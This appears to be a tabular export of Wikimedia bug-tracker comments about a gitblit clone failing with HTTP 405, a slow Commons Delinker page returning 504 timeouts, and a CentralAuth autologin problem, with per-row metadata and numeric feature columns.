<meta http-equiv=""Content-Type"" content=""text/html; charset=ISO-8859-1""/>
<title>Error 405 HTTP method GET is not supported by this URL</title>
</head>
<body><h2>HTTP ERROR 405</h2>
<p>Problem accessing /git/mediawiki/extensions/AssertEdit.git/git-upload-pack. Reason:
<pre>    HTTP method GET is not supported by this URL</pre></p><hr /><i><small>Powered by Jetty://</small>
[...]",,,1380180548,,PHID-USER-3ampiwske4lc434cm6ot,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c2,3,False,,,4,True,0.25,0.0,0.0,0.75,0.75,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.25,1.75,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.75,1.0,0.0,0.0,0.0,0.0,0.0,0.25,0.75,0.0,0.0,0.0,1.5,0.75,0.0,0.0,0.0,0.0,12.75,0.0,0.75,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.0,0.5,0.75,16.5,0.25,0.0,2.25,0.0,0.0,0.0,0.0,0.75,0.25,4.0,0.0,0.0,1.75,17.75,0.75,0.25,0.0,0.0,0.0,0.25,0.5,0.0,0.25,0.0,0.0,6.75,4.197530864197531,0.5734567901234568,"Huh? How could a POST request become a GET request? Some sort of Varnish misconfiguration?

POST /git/mediawiki/extensions/AssertEdit.git/git-upload-pack HTTP/1.1
User-Agent: git/1.8.4
Host: git.wikimedia.org
Accept-Encoding: gzip
Content-Type: application/x-git-upload-pack-request
Accept: application/x-git-upload-pack-result
Content-Length: 324

006fwant 8042c39f1df86789e50f04712c15a1c219dbb178 multi_ack_detailed no-done side-band-64k thin-pack ofs-delta
0032want 045a6acef5ad87bfa6a580c2b09295e5d761105c
0032want 523feba3de364984f5b099a5ea029254c9c4df23
0032want 76271fbc23b797b0c3340733e91432ac9154d44e
0032want 8042c39f1df86789e50f04712c15a1c219dbb178
00000009done
HTTP/1.1 405 HTTP method GET is not supported by this URL
Pragma: no-cache
Content-Type: text/html;charset=ISO-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Server: Jetty(7.6.8.v20121106)
Content-Length: 1490
Accept-Ranges: bytes
Date: Thu, 26 Sep 2013 07:13:13 GMT
X-Varnish: 1193742703
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: cp1044 miss (0)

<html>
<head>
<meta http-equiv=""Content-Type"" content=""text/html; charset=ISO-8859-1""/>
<title>Error 405 HTTP method GET is not supported by this URL</title>
</head>
<body><h2>HTTP ERROR 405</h2>
<p>Problem accessing /git/mediawiki/extensions/AssertEdit.git/git-upload-pack. Reason:
<pre>    HTTP method GET is not supported by this URL</pre></p><hr /><i><small>Powered by Jetty://</small>
[...]"
252786,First clone for a repository from gitblit fails with HTTP 405,"Same here.

The Git Repos that start with gerrit.wikimedia.org work fine, just those at git.wikimedia.org are not working.",,,1380179445,,PHID-USER-wtbw6n3qdyre3vir7o3z,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.818181818181818,0.9545454545454546,"Same here.

The Git Repos that start with gerrit.wikimedia.org work fine, just those at git.wikimedia.org are not working."
252781,First clone for a repository from gitblit fails with HTTP 405,Is anyone actually looking into this?,,,1380179388,,PHID-USER-hwuumsjqciw7ji5qhpc7,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c2,3,False,,,4,True,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.571428571428571,1.0,Is anyone actually looking into this?
252776,First clone for a repository from gitblit fails with HTTP 405,"I can reproduce that as well. And yes, it is weird.
It seems however that only cloning from gitblit is affected. Cloning
directly from gerrit works as expected:

 git clone https://gerrit.wikimedia.org/r/mediawiki/extensions/AJAXPoll",,,1379752914,,PHID-USER-pntojlcbclwhuip53bix,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,3.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,8.0,13.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8205128205128207,0.8205128205128205,"I can reproduce that as well. And yes, it is weird.
It seems however that only cloning from gitblit is affected. Cloning
directly from gerrit works as expected:

 git clone URL"
56122,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Requesting https://commons.wikimedia.org/wiki/User:CommonsDelinker/commands?action=edit often returns 

HTTP 504: Gateway Timeout. 

This does not happen when requesting the page with a high frequence but if you do it e.g. once an hour. Just look at https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&action=history where I dump the profiling report of this page using https://commons.wikimedia.org/wiki/User:Rillke/profile.js -- about every third request fails.

Other users experience this issue as well:
https://commons.wikimedia.org/w/index.php?title=Commons:Administrators%27_noticeboard&oldid=104206956#Extremely_slow_performance_to_open_edit_interface_of_COM:CDC

If I remember correctly, this is an issue for a long time. Updating the page via API often works without any issues (but is slow). The page is regularly queried and updated by a bot: http://toolserver.org/~delinker/helper.txt

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53577
https://bugzilla.wikimedia.org/show_bug.cgi?id=49734",High,80.0,1379160000,1412966568.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-dh2vakf5sbvxwgt7snat,task_description,resolved,True,c2,3,False,False,False,2,True,1.0,0.0,0.0,0.5,0.5,4.5,1.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,8.0,5.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,6.5,1.5,0.5,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,14.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.5,0.0,0.0,5.5,2.0,14.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,2.0,5.5,2.5,0.0,0.0,0.0,2.0,0.0,1.0,3.0,0.0,2.0,0.0,0.0,0.0,3.6571428571428575,0.7285714285714286,"Requesting URL often returns 

HTTP 504: Gateway Timeout. 

This does not happen when requesting the page with a high frequence but if you do it e.g. once an hour. Just look at URL where I dump the profiling report of this page using URL -- about every third request fails.

Other users experience this issue as well:
URL

If I remember correctly, this is an issue for a long time. Updating the page via API often works without any issues (but is slow). The page is regularly queried and updated by a bot: URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
235223,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"(In reply to Andre Klapper from comment #14)
> Is that still an issue experienced?

Sorry for the late reply.. Nope. Worked fine in the last months.

(Maybe a other software change fixed this, closing now as RES - FIX)",,,1412966568,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.391304347826087,0.8695652173913043,"(In reply to Andre Klapper from comment #14)
QUOTE

Sorry for the late reply.. Nope. Worked fine in the last months.

(Maybe a other software change fixed this, closing now as RES - FIX)"
235216,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,Is that still an issue experienced?,,,1412958784,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,True,,,58,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Is that still an issue experienced?
235210,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,Is that still an issue experienced?,,,1411336307,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,True,,,55,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Is that still an issue experienced?
235204,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,I see. Thanks for correcting me!,,,1394797315,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,True,,,28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,3.375,1.0,I see. Thanks for correcting me!
235197,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"There is nothing the maintainers of the tool can do here, so it shouldn't be a bug of the tool, IMHO.",,,1394717648,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,28,True,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,8.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.24,0.8,"There is nothing the maintainers of the tool can do here, so it shouldn't be a bug of the tool, IMHO."
235190,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"This error is not in the tool's code though, adding keyword",,,1394717261,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,True,,,28,True,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.769230769230769,1.0,"This error is not in the tool's code though, adding keyword"
235182,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"(In reply to comment #8)
Is there anything I could help with?",,,1381580715,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,6,True,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,19.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,6.0,19.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1875,1.0,"(In reply to comment #8)
Is there anything I could help with?"
235175,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"The truncated query in comment #6 comes from the same class as bug 53577 but forces different indexes. So, possibly it's the same type of problem, but need to see a complete example.",,,1379613073,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,0.8717948717948718,"The truncated query in comment #6 comes from the same class as bug 53577 but forces different indexes. So, possibly it's the same type of problem, but need to see a complete example."
235169,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Sean: Could you answer comment 6, please? Thanks in advance!",,,1379545937,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,7.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.642857142857143,1.0,"Sean: Could you answer comment 6, please? Thanks in advance!"
235164,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,Can a tech please confirm this is an instance of Bug 53577 ?,,,1379453344,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,8.0,15.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,1.0,Can a tech please confirm this is an instance of Bug 53577 ?
235156,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Also:
* https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104293543",,,1379453115,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,"Also:
* URL"
235151,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"And I found something interesting:
* https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104442630
* https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104401867


The following took ~50s!

query: SELECT log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,ts_tags FROM `logging` FORCE INDEX (page_time,user_time,log_user_type_time) LEFT JOIN `user`",,,1379452866,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,2,True,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,22.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7846153846153845,0.6923076923076923,"And I found something interesting:
* URL
* URL


The following took ~50s!

query: SELECT log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,ts_tags FROM CODE FORCE INDEX (page_time,user_time,log_user_type_time) LEFT JOIN CODE"
235145,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"So here is the complete message:
<head><title>504 Gateway Time-out</title></head>
<body bgcolor=""white"">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.1.19</center>
</body>
</html>
----
https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104491400 22:37, 16 September 2013
----
If you need a special response header for debugging, please let me know.",,,1379398992,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,11.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,4.0,0.0,3.0,3.0,17.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,20.0,4.1,0.6428571428571429,"So here is the complete message:
<head><title>504 Gateway Time-out</title></head>
<body bgcolor=""white"">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.1.19</center>
</body>
</html>
----
URL 22:37, 16 September 2013
----
If you need a special response header for debugging, please let me know."
235137,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"(In reply to comment #1)
The issue is that there were not a lot of templates on the page at the time the requests failed:
Exmaple:
17:40, 14 September 2013 ( https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104315333 )

https://commons.wikimedia.org/w/index.php?title=User:CommonsDelinker/commands&oldid=104314668 ( https://commons.wikimedia.org/w/index.php?title=User:CommonsDelinker/commands&action=edit&oldid=104314668 )
CPU time usage	0.656 seconds
Real time usage	0.767 seconds
Preprocessor visited node count	1285/1000000
Preprocessor generated node count	4672/1500000
Post-expand include size	60326/2048000 bytes
Template argument size	29773/2048000 bytes
Highest expansion depth	12/40
Expensive parser function count	33/500",,,1379361807,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,0.0,0.5,5.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,3.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,10.5,0.5,0.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,8.5,0.0,0.0,3.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,4.125,0.6923076923076923,"(In reply to comment #1)
The issue is that there were not a lot of templates on the page at the time the requests failed:
Exmaple:
17:40, 14 September 2013 ( URL )

URL ( URL )
CPU time usage	0.656 seconds
Real time usage	0.767 seconds
Preprocessor visited node count	1285/1000000
Preprocessor generated node count	4672/1500000
Post-expand include size	60326/2048000 bytes
Template argument size	29773/2048000 bytes
Highest expansion depth	12/40
Expensive parser function count	33/500"
235129,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Isn't this just the ""standard"" timeout for (uncached/just edited) pages with a lot of templates, like [[m:User:Cbrown1023/Logos]]?",,,1379342111,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,True,,,2,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.1666666666666665,0.8333333333333334,"Isn't this just the ""standard"" timeout for (uncached/just edited) pages with a lot of templates, like [[m:User:Cbrown1023/Logos]]?"
56119,Autologin autocreate is not working,"Steps I followed to reproduce:
1) Pick or produce an account registered on it.wikt (home), en.wikt, it.source, en.source; clear all cookies and start new incognito window on Chromium (27.0.1453.93 200836)
2) Visit ru.wikt
3) Login on it.wikt
4) Visit ru.wikt
I. Expected: I am logged in (account is autocreated).
II. Actual: Account is not created and I am not logged in. (Not bug 45578 comment 3 because I had visited the site.)
5) Visit en.wikt
III. Expected: I am logged in (account already exists).
IV. Actual: I am logged in.
6) Visit it.source
Same as III, IV.
7) Visit en.source
Same as III, IV.

In some previous test I was not logged in at step 7 (i.e. in other projects but same language subdomain, but not same project different language), I don't know what happen.
The messy situation at [[Special:CentralAuth/Bug 16864 test]] is due to bug 16864: if you sort by date you can spot the accounts autocreated by logging in on wikimania2013 and outreach (without any logic). I don't know how the various bugs are interacting here.

--------------------------
**Version**: master
